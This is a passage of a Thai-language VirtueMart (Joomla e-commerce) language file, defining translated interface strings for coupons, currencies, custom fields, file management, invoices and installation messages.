'COM_VIRTUEMART_COUNTRY_' ตามด้วยพยัญชนะรหัสประเทศ 3 ตัวอักษร" COM_VIRTUEMART_COUNTRY_S="ประเทศ" COM_VIRTUEMART_COUPON="คูปอง" COM_VIRTUEMART_COUPONS_ENABLE="เปิดให้มีการใช้คูปองส่วนลด" COM_VIRTUEMART_COUPONS_ENABLE_EXPLAIN="ถ้าเปิดใช้งาน การใช้คูปอง คุณอนุญาตให้ผู้บริโภคกรอกหมายเลขคูปองเพื่อรับส่วนลดในการซื้อ" COM_VIRTUEMART_COUPONS_EXPIRE="ค่าเริ่มต้น อายุใช้งานของคูปอง" COM_VIRTUEMART_COUPONS_EXPIRE_EXPLAIN="คุณสามารถตั้งค่าค่าเริ่มต้นอายุการใช้งานของคูปองได้ที่นี่;คูปองจำนวนนี้จะหมดเวลาตามที่กำหนดหลังจากการสร้าง" COM_VIRTUEMART_COUPON_CODE="รหัสคูปอง" COM_VIRTUEMART_COUPON_DETAILS="รายละเอียดคูปอง" COM_VIRTUEMART_COUPON_DISCOUNT="คูปองส่วนลด" COM_VIRTUEMART_COUPON_EXPIRY="วันที่คูปองหมดอายุ" COM_VIRTUEMART_COUPON_EXPIRY_TIP="วันที่คูปองหมดอายุการใช้งาน" COM_VIRTUEMART_COUPON_PERCENT="เปอร์เซ็นต์" COM_VIRTUEMART_COUPON_PERCENT_TOTAL="เปอร์เซ็นต์ หรือ ยอดเงินรวม" COM_VIRTUEMART_COUPON_PERCTOT_TOOLTIP="เป็นเปอร์เซ็นต์ หรือ ยอดเงินรวม" COM_VIRTUEMART_COUPON_S="คูปอง" COM_VIRTUEMART_COUPON_START="วันที่คูปองเริ่มใช้งาน" COM_VIRTUEMART_COUPON_START_TIP="วันที่คูปองเริ่มใช้งาน" COM_VIRTUEMART_COUPON_SUBMIT_BUTTON="ส่ง" COM_VIRTUEMART_COUPON_TIP="รหัสคูปองลูกค้าจะต้องป้อนลง" COM_VIRTUEMART_COUPON_TOTAL="รวมทั้งหมด" COM_VIRTUEMART_COUPON_TYPE="ชนิดของคูปอง" COM_VIRTUEMART_COUPON_TYPE_GIFT="คูปองของขวัญ" COM_VIRTUEMART_COUPON_TYPE_PERMANENT="คูปองถาวร" COM_VIRTUEMART_COUPON_TYPE_TIP="คูปองของขวัญจะถูกลบหลังจากมีการใช้เป็นส่วนลดในการซื้อสินค้า ส่วนคูปองถาวร จะสามารถใช้ได้ตลอดตามที่ผู้ซื้อต้องการใช้" COM_VIRTUEMART_COUPON_VALUE_NOT_NUMBER="มูลค่าคูปองจะต้องเป็นตัวเลข" COM_VIRTUEMART_COUPON_VALUE_TIP="มูลค่าคูปอง" COM_VIRTUEMART_COUPON_VALUE_VALID_AT="ยอดสั่งซื้อขั้นต่ำ" COM_VIRTUEMART_COUPON_VALUE_VALID_AT_NOT_NUMBER="ค่าที่ไม่ถูกต้องสำหรับค่าการสั่งซื้อให้ถูกต้อง" COM_VIRTUEMART_CREATED_ON="วันที่สร้าง" COM_VIRTUEMART_CREATE_ACCOUNT="ลงทะเบียน" COM_VIRTUEMART_CURRENCY="สกุลเงิน" COM_VIRTUEMART_CURRENCY_CODE_2="รหัสตัวอักษร 2 ตัว" COM_VIRTUEMART_CURRENCY_CODE_3="รหัสตัวอักษร 3 ตัว" COM_VIRTUEMART_CURRENCY_DECIMALS="ทศนิยม" COM_VIRTUEMART_CURRENCY_DECIMALSYMBOL="สัญลักษณ์จุดทศนิยม" COM_VIRTUEMART_CURRENCY_DECIMALSYMBOL_TIP="อักขระที่ใช้เป็นสัญลักษณ์ทศนิยม" COM_VIRTUEMART_CURRENCY_DECIMALS_TIP="จำนวนทศนิยมที่แสดง(สามารถเป็น 0)
            ทำการปัดเศษถ้าค่ามีจำนวนทศนิยมแตกต่างกัน" COM_VIRTUEMART_CURRENCY_DETAILS="รายละเอียดสกุลเงิน" COM_VIRTUEMART_CURRENCY_DISPLAY="รูปแบบการแสดงสกุลเงิน" COM_VIRTUEMART_CURRENCY_DISPLAY_EXPL="สำหรับรูปแบบบวกหรือลบ,ใช้
            • {sign} สำหรับเครื่องหมายระบบพีชคณิต,
            • {number}สำหรับค่า
            • {symbol}สำหรับสกุลเงิน
            การกำหหนด, คำสำคัญ html ทั้งหมด ที่อนุญาตให้ใช้, ยกเว้นอักขระ |ไม่อนุญาตให้ใช้
            ยกตัวอย่างเช่น
            "_QQ_"{sign} <b>{number}</b> {symbol}"_QQ_"
            จะแสดงราคาที่ต้องการ "_QQ_"+ 42,23 €"_QQ_"" COM_VIRTUEMART_CURRENCY_END_DATE="ถึงวันที่" COM_VIRTUEMART_CURRENCY_ERR_CODE="คุณต้องป้อนรหัสสำหรับสกุลเงิน" COM_VIRTUEMART_CURRENCY_ERR_DELETE_SELECT="กรุณาเลือกสกุลเงินที่ต้องการลบทิ้ง" COM_VIRTUEMART_CURRENCY_EXCHANGE_RATE="อัตราแลกเปลี่ยน" COM_VIRTUEMART_CURRENCY_FOR_VENDORS="ฟังก์ชั่นสกุลเงินไม่อนุญาตสำหรับผู้จำหน่าย" COM_VIRTUEMART_CURRENCY_NAME="ชื่อสกุลเงิน" COM_VIRTUEMART_CURRENCY_NEGATIVE_DISPLAY="รูปแบบจำนวนลบ" COM_VIRTUEMART_CURRENCY_NUMERIC_CODE="รหัสตัวเลข" COM_VIRTUEMART_CURRENCY_POSITIVE_DISPLAY="รูปแบบจำนวนบวก" COM_VIRTUEMART_CURRENCY_S="สกุลเงิน" COM_VIRTUEMART_CURRENCY_START_DATE="วันที่เริ่มต้น" COM_VIRTUEMART_CURRENCY_SYMBOL="สัญลักษณ์สกุลเงิน" COM_VIRTUEMART_CURRENCY_THOUSANDS="ตัวคั่นเลขหลักพัน" COM_VIRTUEMART_CURRENTLY_NOT_AVAILABLE="ขณะนี้ไม่มีสินค้า" COM_VIRTUEMART_CURRENT_TRANSACTION_KEY="รหัสการทำธุรกรรมปัจจุบัน" COM_VIRTUEMART_CUSTOM="ช่องรับข้อมูลที่กำหนดเอง" COM_VIRTUEMART_CUSTOMER_RATING="คะแนนโหวตเฉลี่ยจากผู้ซื้อ" COM_VIRTUEMART_CUSTOM_ACTIVATE_JAVASCRIPT="โปรแกรมเสริมบางตัวประกอบด้วยจาวาสคริปต์กรุณาคลิกที่ 'ปุ่ม นำไปใช้' (Joomla 1.5), หรือ ' ปุ่ม บันทึก' (Joomla 1.7) เพื่อแสดงค่าพารามิเตอร์ที่เหมาะสม" COM_VIRTUEMART_CUSTOM_ADMIN_ONLY="เฉพาะผู้ดูแลเท่านั้น" COM_VIRTUEMART_CUSTOM_BOOL="บูลีน" COM_VIRTUEMART_CUSTOM_CANNOT_PARENT="ระเบียนแบบกำหนดเองตัวเองไม่สามารถเป็นหลัก ! (parent) ได้" COM_VIRTUEMART_CUSTOM_CART_USER_VARIANT="ตัวแปรของผู้ใช้รถเข็น" COM_VIRTUEMART_CUSTOM_CART_VARIANT="ตัวแปรรถเข็น" COM_VIRTUEMART_CUSTOM_CLONED_SUCCESSFULLY="ประเภทที่กำหนดเอง (s) โคลนได้สำเร็จ" COM_VIRTUEMART_CUSTOM_DEFAULT="ค่าเริ่มต้น" COM_VIRTUEMART_CUSTOM_EDITOR="เครื่องมือช่วยพิมพ์" COM_VIRTUEMART_CUSTOM_EXTENSION="ปลั๊กอิน" COM_VIRTUEMART_CUSTOM_FIELD_DESCRIPTION="คำอธิบาย" COM_VIRTUEMART_CUSTOM_FIELD_PRICE="ราคา:" COM_VIRTUEMART_CUSTOM_FIELD_TYPE="ประเภทช่องรับข้อมูลแบบกำหนดเอง: " COM_VIRTUEMART_CUSTOM_ID="กำหนดรหัสเอง" COM_VIRTUEMART_CUSTOM_IMAGE="รูปภาพ" COM_VIRTUEMART_CUSTOM_INT="จำนวนเต็ม" COM_VIRTUEMART_CUSTOM_IS_CART_ATTRIBUTE="คุณลักษณะสินค้าในรถเข็น" COM_VIRTUEMART_CUSTOM_IS_HIDDEN="ซ่อน" COM_VIRTUEMART_CUSTOM_IS_LIST="เป็นรายการหรือไม่?" COM_VIRTUEMART_CUSTOM_LAYOUT_POS="ตำแหน่งเค้าโครง" COM_VIRTUEMART_CUSTOM_NOT_CLONED_SUCCESSFULLY="ประเภทที่กำหนดเอง (s) โคลนล้มเหลว" COM_VIRTUEMART_CUSTOM_NO_CHILD_PRODUCT="ไม่มีำสินค้าหรับเด็ก" COM_VIRTUEMART_CUSTOM_NO_PARENT_RELATION="ไม่พบความสัมพันธ์" COM_VIRTUEMART_CUSTOM_NO_TYPES="ไม่มีช่องรับข้อมูลประเภทกำหนดเอง กรุณาเลือกรายการเพื่อเพิ่มช่องรับข้อมูลใหม่" COM_VIRTUEMART_CUSTOM_PAGE_TITLE="ชื่อของหน้าเว็บแบบกำหนดเอง" COM_VIRTUEMART_CUSTOM_PARENT="ต้นทาง" COM_VIRTUEMART_CUSTOM_PO="พ่อแม่สามารถสั่งซื้อสินค้าได้" COM_VIRTUEMART_CUSTOM_PRODUCT_CHILD="สินค้าย่อย" COM_VIRTUEMART_CUSTOM_SAVE_FROM_CHILD="เขียนทับค่าของปลั๊กอินจากต้นทาง" COM_VIRTUEMART_CUSTOM_STRING="ข้อความ" COM_VIRTUEMART_CUSTOM_TEXTAREA="พื้นที่พิมพ์ข้อความ" COM_VIRTUEMART_CUSTOM_TIP="ทูลทิป" COM_VIRTUEMART_CUSTOM_TITLE="ชื่อ" COM_VIRTUEMART_CUSTOM_WP="แสดงพ่อแม่เป็นตัวเลือก" COM_VIRTUEMART_DATE="วันที่" ; THis is not valid joomla 1.7 !!! COM_VIRTUEMART_DATE_FORMAT_LC="%A, %d %B %Y" COM_VIRTUEMART_DATE_FORMAT_LC_J16="%A, %d %B %Y" ; INPUT_J16 is used to generate date for datepicker and must be contain only m d and y with the separators COM_VIRTUEMART_DATE_FORMAT_INPUT_J16="m/d/y" ; see http://docs.jquery.com/UI/Datepicker/formatDate to find the JS format COM_VIRTUEMART_DAY="วัน" COM_VIRTUEMART_DEFAULT="ค่าเริ่มต้น" COM_VIRTUEMART_DEFAULT_TOP_LEVEL="ค่าเริ่มต้น-ระดับสูงสุด" COM_VIRTUEMART_DEFAULT_VENDOR_CURRENCY="สกุลเงินเริ่มต้นของผู้ขาย" COM_VIRTUEMART_DELETE="ลบ" COM_VIRTUEMART_DELETED_X_CUSTOM_FIELD_ITEMS="ช่องรับข้อมูลแบบกำหนดเอง %s รายการได้ถูกลบแล้ว" COM_VIRTUEMART_DELETED_X_MEDIA_ITEMS="ไฟล์มีเดีย %s รายการได้ถูกลบแล้ว" COM_VIRTUEMART_DELETES_ALL_VM_TABLES_AND_FRESH="คืนค่าตารางทั้งหมด
            และทำการติดตั้งใหม่" COM_VIRTUEMART_DELETES_ALL_VM_TABLES_AND_FRESH_CONFIRM_JS="จะเป็นการลบตารางฐานข้อมูลทั้งหมดของ VirtueMart และดำเนินการติดตั้งใหม่ (ไม่มีไฟล์เก่าเหลืออยู่) คุณแน่ใจแล้วหรือ?" COM_VIRTUEMART_DELETES_ALL_VM_TABLES_AND_SAMPLE="คืนค่าตารางที่มีอยู่ทั้งหมด
            และติดตั้งข้อมูลตัวอย่าง" COM_VIRTUEMART_DELETES_ALL_VM_TABLES_AND_SAMPLE_CONFIRM_JS="จะเป็นการลบตารางฐานข้อมูลทั้งหมดของ VirtueMart และทำการติดตั้งตัวอย่างข้อมูล (ไม่มีไฟล์เก่าเหลืออยู่) คุณแน่ใจแล้วหรือ?" COM_VIRTUEMART_DELETE_GENERAL_WARNING="คำเตือน" COM_VIRTUEMART_DELETE_MSG="คุณแน่ใจแล้วหรือว่าต้องการลบเรคคอร์ดนี้ทิ้งไป?" COM_VIRTUEMART_DELETE_RECORD="ลบเรคคอร์ดนี้ทิ้งไป" COM_VIRTUEMART_DELIVERY_TIME="จัดส่งใน" COM_VIRTUEMART_DESCRIPTION="คำอธิบาย" COM_VIRTUEMART_DETAILS="รายละเอียด" COM_VIRTUEMART_DISABLED="ปิดใช้งาน" COM_VIRTUEMART_DISABLE_ITEM="ปิดใช้งานไอเท็ม" COM_VIRTUEMART_DISCOUNT="ส่วนลด" COM_VIRTUEMART_DISCOUNT_ADDDISCOUNT_TIP="คุณสามารถใช้แบบฟอร์มส่วนลดสินค้าเพื่อเพิ่มส่วนลดให้กับสินค้าได้" COM_VIRTUEMART_DISCOUNT_ADDED="ส่วนลดสำหรับสินค้าถูกเพิ่มแล้ว" COM_VIRTUEMART_DISCOUNT_AMOUNTTYPE="ประเภทส่วนลด" COM_VIRTUEMART_DISCOUNT_ISPERCENT="เปอร์เซ็นต์" COM_VIRTUEMART_DISCOUNT_ISPERCENT_TIP="ควรมีจำนวนเป็นเปอร์เซ็นต์ หรือยอดเงินรวม" COM_VIRTUEMART_DISCOUNT_ISTOTAL="รวมทั้งหมด" COM_VIRTUEMART_DISPLAY_END="ค่าสิ้นสุด" COM_VIRTUEMART_DISPLAY_STEP="ลำดับขั้นตอน" COM_VIRTUEMART_DISPLAY_STOCK="แสดงระดับสินค้าในสต็อค" COM_VIRTUEMART_DISPLAY_STOCK_EXPLAIN="หากเปิดใช้งาน, ระดับสินค้าในสต็อคจะถูกแสดงให้เห็นในเค้าโครงหน้าหมวดหมู่สินค้า" COM_VIRTUEMART_DOCUMENTATION="คู่มือการใช้" COM_VIRTUEMART_DOWNLOADABLE="สามารถดาวน์โหลดได้" COM_VIRTUEMART_DO_LOGIN="คุณจำเป็นต้องเข้าสู่ระบบ" COM_VIRTUEMART_EDIT="แก้ไข" COM_VIRTUEMART_EDITSHOP="แก้ไข" COM_VIRTUEMART_EDIT_PARENT="แก้ไขสินค้าแม่" COM_VIRTUEMART_EDIT_REVIEW="แก้ไข" COM_VIRTUEMART_EMAIL="อีเมล" COM_VIRTUEMART_EMAIL_SENDTO="อีเมลยืนยันได้ส่งไปที่" COM_VIRTUEMART_EMPTY_CATEGORY="หมวดหมู่นี้ยังไม่มีข้อมูล" COM_VIRTUEMART_ENABLED="เปิดใช้" COM_VIRTUEMART_ENABLE_ITEM="เปิดใช้งานไอเท็ม" COM_VIRTUEMART_ENCODE_INSECURE="ถอดรหัส (ไม่ปลอดภัย)" COM_VIRTUEMART_END_DATE="วันที่สิ้นสุด" COM_VIRTUEMART_ENQUIRY="สอบถามข้อมูลเพิ่มเติม" COM_VIRTUEMART_ENTER_VALID_DATE="กรุณากรอกรูปแบบวันที่ที่ถูกต้อง (YYYY-MM-DD)" COM_VIRTUEMART_ENTER_VALUE_FIELD="กรุณากรอกข้อมูลลงในช่องรับข้อมูล" COM_VIRTUEMART_ERROR="ข้อผิดพลาด" COM_VIRTUEMART_EXCLUDING_TAX="(ไม่รวมภาษี)" COM_VIRTUEMART_EXTENSION_UPGRADE_REMIND="คำเตือน! อัพเดทส่วนเสริมของคุณพร้อมด้วยตัวติดตั้งแบบ AIO ด้วยเช่นกัน" COM_VIRTUEMART_E_IMAGES="รูปภาพ" COM_VIRTUEMART_E_REMOVE="ลบออก" COM_VIRTUEMART_FEATURED="น่าสนใจ" COM_VIRTUEMART_FEATURED_PRODUCT="สินค้าน่าสนใจ" COM_VIRTUEMART_FEATURED_PRODUCTS_LIST_LBL="สินค้าที่น่าสนใจ & ลดราคา" COM_VIRTUEMART_FEE="ค่าธรรมเนียม" COM_VIRTUEMART_FEED_SUBSCRIBE_TITLE="สมัครรับข้อมูลฟีดของรายการสินค้าล่าสุด!" COM_VIRTUEMART_FEED_SUBSCRIBE_TOCATEGORY_TITLE="สมัครรับข้อมูลฟีดของรายการสินค้าล่าสุดในหมวดหมู่นี้!" COM_VIRTUEMART_FIELDMANAGER_COREFIELD="ใช้ช่องรับข้อมูลจากระบบแกนหลักของ Joomla" COM_VIRTUEMART_FIELDMANAGER_HIDE_ACCOUNT="บัญชี" COM_VIRTUEMART_FIELDMANAGER_HIDE_REGISTRATION="ลงทะเบียน" COM_VIRTUEMART_FIELDMANAGER_HIDE_SHIPPING="การจัดส่ง" COM_VIRTUEMART_FIELDMANAGER_NAME="ชื่อช่องรับข้อมูล" COM_VIRTUEMART_FIELDMANAGER_REORDER="เรียงลำดับ" COM_VIRTUEMART_FIELDMANAGER_REQUIRE="จำเป็นต้องกรอก" COM_VIRTUEMART_FIELDMANAGER_REQUIRED="จำเป็นต้องกรอก" COM_VIRTUEMART_FIELDMANAGER_SHOW_ACCOUNT="บัญชี" COM_VIRTUEMART_FIELDMANAGER_SHOW_HIDE="แสดง/ซ่อน ใน:" COM_VIRTUEMART_FIELDMANAGER_SHOW_ON_ACCOUNT="แสดงในส่วนของข้อมูลบัญชีผู้ใช้งานด้วย" COM_VIRTUEMART_FIELDMANAGER_SHOW_ON_REGISTRATION="แสดงในแบบฟอร์มลงทะเบียน" COM_VIRTUEMART_FIELDMANAGER_SHOW_ON_SHIPPING="แสดงในแบบฟอร์มการขนส่ง" COM_VIRTUEMART_FIELDMANAGER_SHOW_REGISTRATION="การลงทะเบียน" COM_VIRTUEMART_FIELDMANAGER_SHOW_SHIPPING="การขนส่ง" COM_VIRTUEMART_FIELDMANAGER_TITLE="ชื่อเรียกช่องรับข้อมูล" COM_VIRTUEMART_FIELDMANAGER_TYPE="ประเภทช่องรับข้อมูล" COM_VIRTUEMART_FIELDMANAGER_UNREQUIRE="ไม่จำเป็น" COM_VIRTUEMART_FIELDS_AGEVERIFICATION="การยืนยันเพื่อตรวจสอบอายุ (ช่องข้อมูลประเภทเลือกวันที่)" COM_VIRTUEMART_FIELDS_AGEVERIFICATION_ATTRIBUTES="คุณลักษณะของการยืนยันเพื่อตรวจสอบอายุ (ช่องข้อมูลประเภทเลือกวันที่)" COM_VIRTUEMART_FIELDS_AGEVERIFICATION_MINIMUM="ระบุอายุขั้นต่ำ" COM_VIRTUEMART_FIELDS_CAPTCHA="ช่องฟิลด์ Captcha (ใช้ com_securityimages)" COM_VIRTUEMART_FIELDS_CHECKBOX_MULTIPLE="ช่องกาตัวเลือก (เลือกได้หลายรายการ)" COM_VIRTUEMART_FIELDS_CHECKBOX_SINGLE="ช่องกาตัวเลือก (เลือกได้รายการเดียว)" COM_VIRTUEMART_FIELDS_DATE="วันที่" COM_VIRTUEMART_FIELDS_DELIMITER="-- เครื่องหมายคั่นชุดของช่องรับข้อมูล --" COM_VIRTUEMART_FIELDS_DROPDOWN_MULTIPLE="ดรอปดาวน์ (เลือกได้หลายรายการ)" COM_VIRTUEMART_FIELDS_DROPDOWN_SINGLE="ดรอปดาวน์ (เลือกได้รายการเดียว)" COM_VIRTUEMART_FIELDS_EDITORAREA="พื้นที่พิมพ์ข้อความ" COM_VIRTUEMART_FIELDS_EMAIL="ที่อยู่อีเมล" COM_VIRTUEMART_FIELDS_NEWSLETTER="การสมัครรับจดหมายข่าว" COM_VIRTUEMART_FIELDS_RADIOBUTTON="ปุ่มเรดิโอ" COM_VIRTUEMART_FIELDS_TEXTAREA="Text Area" COM_VIRTUEMART_FIELDS_TEXTFIELD="Text Field" COM_VIRTUEMART_FIELDS_WEBADDRESS="ที่อยู่เว็บ" COM_VIRTUEMART_FIELD_TYPE="ชนิดของช่องรับข้อมูล" COM_VIRTUEMART_FILES_FILE_DELETE_FAILURE="ไม่สามารถลบไฟล์ดังกล่าวได้," COM_VIRTUEMART_FILES_FILE_DELETE_SUCCESS="ไฟล์ถูกลบเรียบร้อยแล้ว" COM_VIRTUEMART_FILES_FULLIMG_DELETE_FAILURE="ไม่สามารถลบไฟล์รูปภาพขนาดใหญ่ได้" COM_VIRTUEMART_FILES_FULLIMG_DELETE_SUCCESS="รูปภาพขนาดใหญ่ถูกลบเรียบร้อยแล้ว" COM_VIRTUEMART_FILES_IMAGE_RESIZE_SUCCESS="รูปภาพขนาดย่อถูกสร้างขึ้นเรียบร้อยแล้ว!" COM_VIRTUEMART_FILES_LIST="รายการไฟล์" COM_VIRTUEMART_FILES_LIST_FILENAME="ชื่อไฟล์" COM_VIRTUEMART_FILES_LIST_FILETITLE="ชื่อไฟล์" COM_VIRTUEMART_FILES_LIST_FILETYPE="ชนิดของไฟล์" COM_VIRTUEMART_FILES_LIST_GO_UP="ขึ้นข้างบน" COM_VIRTUEMART_FILES_LIST_ROLE="บทบาท" COM_VIRTUEMART_FILES_LIST_UP="ขึ้น" COM_VIRTUEMART_FILES_NOT_FOUND="ขออภัย, ไม่พบไฟล์ที่ร้องขอ" COM_VIRTUEMART_FILES_PATH_ERROR="กรุณาแจ้งตำแหน่งพาธที่ถูกต้อง!" COM_VIRTUEMART_FILES_THUMBIMG_DELETE_FAILURE="ไม่สามารถลบไฟล์รูปภาพขนาดย่อได้ (เนื่องจากอาจไม่มีไฟล์ดังกล่าวอยู่ในระบบ)" COM_VIRTUEMART_FILES_THUMBIMG_DELETE_SUCCESS="รูปภาพขนาดย่อถูกลบเรียบร้อยแล้ว" COM_VIRTUEMART_FILES_UPLOAD_FAILURE="เกิดข้อผิดพลาดในการอัพโหลด ไฟล์/รูปภาพ" COM_VIRTUEMART_FILE_DELETE_ERR="ไม่สามารถลบไฟล์ได้ %s" COM_VIRTUEMART_FILE_DELETE_OK="ไฟล์ถูกลบแล้ว" COM_VIRTUEMART_FILE_SAVED_SUCCESS="ไฟล์มีเดียถูกบันทึกเรียบร้อยแล้ว" COM_VIRTUEMART_FILE_UPLOAD_OK="ไฟล์ %s ถูกอัพโหลดแล้ว" COM_VIRTUEMART_FILTER="กรองข้อมูล" COM_VIRTUEMART_FILTER_BY="แสดงข้อมูลตาม" COM_VIRTUEMART_FOLDER_NOT_EXIST="ไม่มีโฟลเดอร์ %s อยู่ในระบบ คุณสามารถสร้างโฟลเดอร์ดังกล่าวขึ้นมาได้ และใส่รูปภาพของคุณไว้ข้างใน" COM_VIRTUEMART_FORM_EDIT=": [ แก้ไข ]" COM_VIRTUEMART_FORM_GENERAL="ข้อมูลทั่วไป" COM_VIRTUEMART_FORM_NEW=": [ ใหม่ ]" COM_VIRTUEMART_FOR_SALE="ไฟล์นี้สำหรับขาย" COM_VIRTUEMART_FOR_VIEW_WITH_PRESELECTED_MANUFACTURER="สำหรับมุมมองที่แสดงรายชื่อผู้ผลิตตามที่เลือกไว้" COM_VIRTUEMART_FREE_SHIPPING_AMOUNT="จำนวนขั้นต่ำสำหรับการจัดส่งสินค้าฟรี" COM_VIRTUEMART_FREE_SHIPPING_AMOUNT_TIP="จำนวนเงิน (รวมภาษี!) เป็นจำนวนเงินขั้นต่ำสำหรับการจัดส่งสินค้าฟรี (ตัวอย่าง: 50 จะหมายถึงการมอบสิทธิการจัดส่งสินค้าฟรีให้กับลูกค้า เมื่อลูกค้าของคุณคิดเงินรายการสินค้าโดยมียอดเงิน $50 (รวมภาษีด้วย) หรือมากกว่านั้น." COM_VIRTUEMART_FREE_SHIPPING_CART="ฟรีค่าจัดส่งสำหรับคำสั่งซื้อสินค้ารายการนี้" COM_VIRTUEMART_GENERALLY_PREVENT_HTTPS="ป้องกันการเข้าใช้งานผ่านการเชื่อมต่อทาง https?" COM_VIRTUEMART_GENERALLY_PREVENT_HTTPS_TIP="เมื่อคลิกเลือก, ผู้ซื้อจะถูกเปลี่ยนเส้นทางไปที่ http URL แทน เมื่อไม่ได้เปิดดูข้อมูลในพื้นที่ส่วนของร้านค้า, ซึ่งเป็นส่วนที่บังคับใช้ https:" COM_VIRTUEMART_GO="ค้นหา" COM_VIRTUEMART_GROUP_NAME="ชื่อกลุ่มที่มีการกำหนดสิทธิ์การเข้าใช้งาน" COM_VIRTUEMART_HELP="ช่วยเหลือ" COM_VIRTUEMART_HELP_ABOUT="VirtueMart เป็นโซลูชั่นระบบอีคอมเมิร์ซแบบโอเพ็นซอร์สที่สมบูรณ์แบบสำหรับใช้งานกับ Joomla!. VirtueMart เป็นแอพพลิเคชั่นที่อยู่ในรูปของคอมโพเนนท์ ที่มาพร้อมกับโมดูลกว่า 6 โมดูล และปลั๊กอิน/แมมบอทต่างๆ. มีต้นกำเนิดจากสคริปต์สำหรับระบบตะกร้าสินค้าที่ถูกเรีียกว่า 'phpShop' (พัฒนาโดย: Edikon Corp. & ชุมชนผู้ใช้งาน phpShop)." COM_VIRTUEMART_HELP_DONATION_BUTTON_ALT="ชำระเงินด้วย PayPal ‚Äì เป็นบริการที่รวดเร็ว, ฟรี, และปลอดภัย!" COM_VIRTUEMART_HELP_DONATION_DESC="กรุณาให้การสนับสนุนด้วยการบริจาค เพื่อช่วยเหลือให้ทางทีมงานสามารถสร้างสรรค์คอมโพเนนท์ตัวนี้ให้ดียิ่งขึ้น และสร้างคุณสมบัติใหม่ๆเพิ่มเติมต่อไปได้" COM_VIRTUEMART_HELP_HOMEPAGE="หน้าแรก" COM_VIRTUEMART_HELP_LICENSE_DESC="VirtueMart มีลิขสิทธิ์การนำไปใช้งานอยู่ภายใต้สัญญาอนุญาต{licensename} ." COM_VIRTUEMART_HELP_PROJECTLEADER="หัวหน้าโครงการ" COM_VIRTUEMART_HELP_TEAM="นี่คือทีมงานผู้พัฒนาเล็กๆ ที่ช่วยกันพัฒนาสคริปต์ระบบตะกร้าสินค้าตัวนี้ขึ้นมา" COM_VIRTUEMART_HELP_TOPICS="หัวข้อจากคู่มือการใช้งาน" COM_VIRTUEMART_HELP_YOURVERSION="รุ่น {product} ของคุณ" COM_VIRTUEMART_HI="สวัสดี," COM_VIRTUEMART_HIDE_OUT_OF_STOCK="ซ่อนรายการสินค้าที่หมดสต็อค" COM_VIRTUEMART_ID="รหัส" COM_VIRTUEMART_IMAGE="รูปภาพ" COM_VIRTUEMART_IMAGES="รูปภาพ" COM_VIRTUEMART_INCLUDING_TAX="(รวมด้วย $tax % tax)" COM_VIRTUEMART_INFO_MSG_VAT_ZERO_LBL="0 (-ไม่มีข้อมูล-)" COM_VIRTUEMART_INSTALLATION_PLZ_RENEW_CONFIG="กรุณาใช้ การกำหนดการตั้งค่าใหม่จากไฟล์ ที่ Tools => Updates/Migration" COM_VIRTUEMART_INSTALLATION_SUCCESSFUL="การติดตั้ง เสร็จเรียบร้อยแล้ว" COM_VIRTUEMART_INSTALLATION_WELCOME="ยินดีต้อนรับเข้าสู่ VirtueMart
            โซลูชั่นอีคอมเมิร์ซระบบตะกร้าสินค้าที่สมบูรณ์แบบสำหรับ Joomla!" COM_VIRTUEMART_INSTALL_DONATION="กรุณาให้การสนับสนุนด้วยการบริจาค เพื่อช่วยเหลือให้ทางทีมงานสามารถสร้างสรรค์คอมโพเนนท์ตัวนี้ให้ดียิ่งขึ้นต่อไปได้" COM_VIRTUEMART_INSTALL_FURTHER_HELP="ไปที่เว็บไซต์ VirtueMart สำหรับข้อมูลเพิ่มเติม" COM_VIRTUEMART_INSTALL_GO_SHOP="ไปที่ร้านค้า" COM_VIRTUEMART_INSTALL_SAMPLE_DATA="ติดตั้งข้อมูลตัวอย่าง" COM_VIRTUEMART_INTNOTES="หมายเหตุกำกับภายในเกี่ยวกับสินค้า" COM_VIRTUEMART_INVOICE="ใบกำกับสินค้า" COM_VIRTUEMART_INVOICE_CREATE="สร้างใบกำกับสินค้า" COM_VIRTUEMART_INVOICE_DATE="วันที่ออกใบกำกับสินค้า" COM_VIRTUEMART_INVOICE_NUMBER_RESERVED="หมายเลขใบกำกับสินค้าถูกสงวนไว้โดยการชำระเงิน" COM_VIRTUEMART_INVOICE_PRINT="พิมพ์ใบกำกับสินค้า" COM_VIRTUEMART_ITEM="รายการ" COM_VIRTUEMART_ITEMS_MOVED="คุณได้ทำการจัดเรียงรายการทั้งหมด %s รายการ" COM_VIRTUEMART_ITEMS_NOT_MOVED="ไอเท็มถูกจัดระเบียบเรียบร้อยแล้ว" COM_VIRTUEMART_ITEM_MOVED_DOWN="ไอเท็มถูกเลื่อนตำแหน่งลงแล้ว" COM_VIRTUEMART_ITEM_MOVED_UP="ไอเท็มถูกเลื่อนตำแหน่งขึ้นแล้ว" COM_VIRTUEMART_ITEM_NEXT="รายการสั่งซื้อถัดไป" COM_VIRTUEMART_ITEM_PREVIOUS="รายการสั่งซื้อก่อนหน้า" COM_VIRTUEMART_I_AGREE_TO_TOS="ข้าพเจ้ายอมรับในข้อตกลงการให้บริการ" COM_VIRTUEMART_JPLUGINWARNING="กรุณากำหนดค่าการจัดส่งสินค้าใน VirtueMart หรือ ปลั๊กอินสำหรับการชำระเงินที่อยู่ในส่วนของคอมโพเนนท์ VirtueMart" ; JAVASCRIPT Declaration, respect the Json format use this fromat "key: 'value',..." DO NOT EDIT /change KEY COM_VIRTUEMART_JS_STRINGS=" editImage: 'แก้ไขรูปภาพ',select_all_text: 'เลือกตัวเลือกทั้งหมด',select_some_options_text :'เลือกเฉพาะบางตัวเลือก', select_an_option_text:'เลือกตัวเลือกเพียงตัวเดียว'" COM_VIRTUEMART_LANG_IS_EMPTY="ยังไม่มีการแปลภาษา (%1$s) รายการ ใน %2$s กรุณากรอกข้อมูลลงในช่องรับข้อมูลพร้อมกับปักธงเพื่อแจ้งสถานะ" COM_VIRTUEMART_LAST_UPDATED="อัพเดดล่าสุด" COM_VIRTUEMART_LATEST="สินค้าล่าสุด" COM_VIRTUEMART_LATEST_PRODUCT="สินค้าล่าสุด" COM_VIRTUEMART_LEGALINFO_SHORTTEXT="
            นโยบายการคืนสินค้า
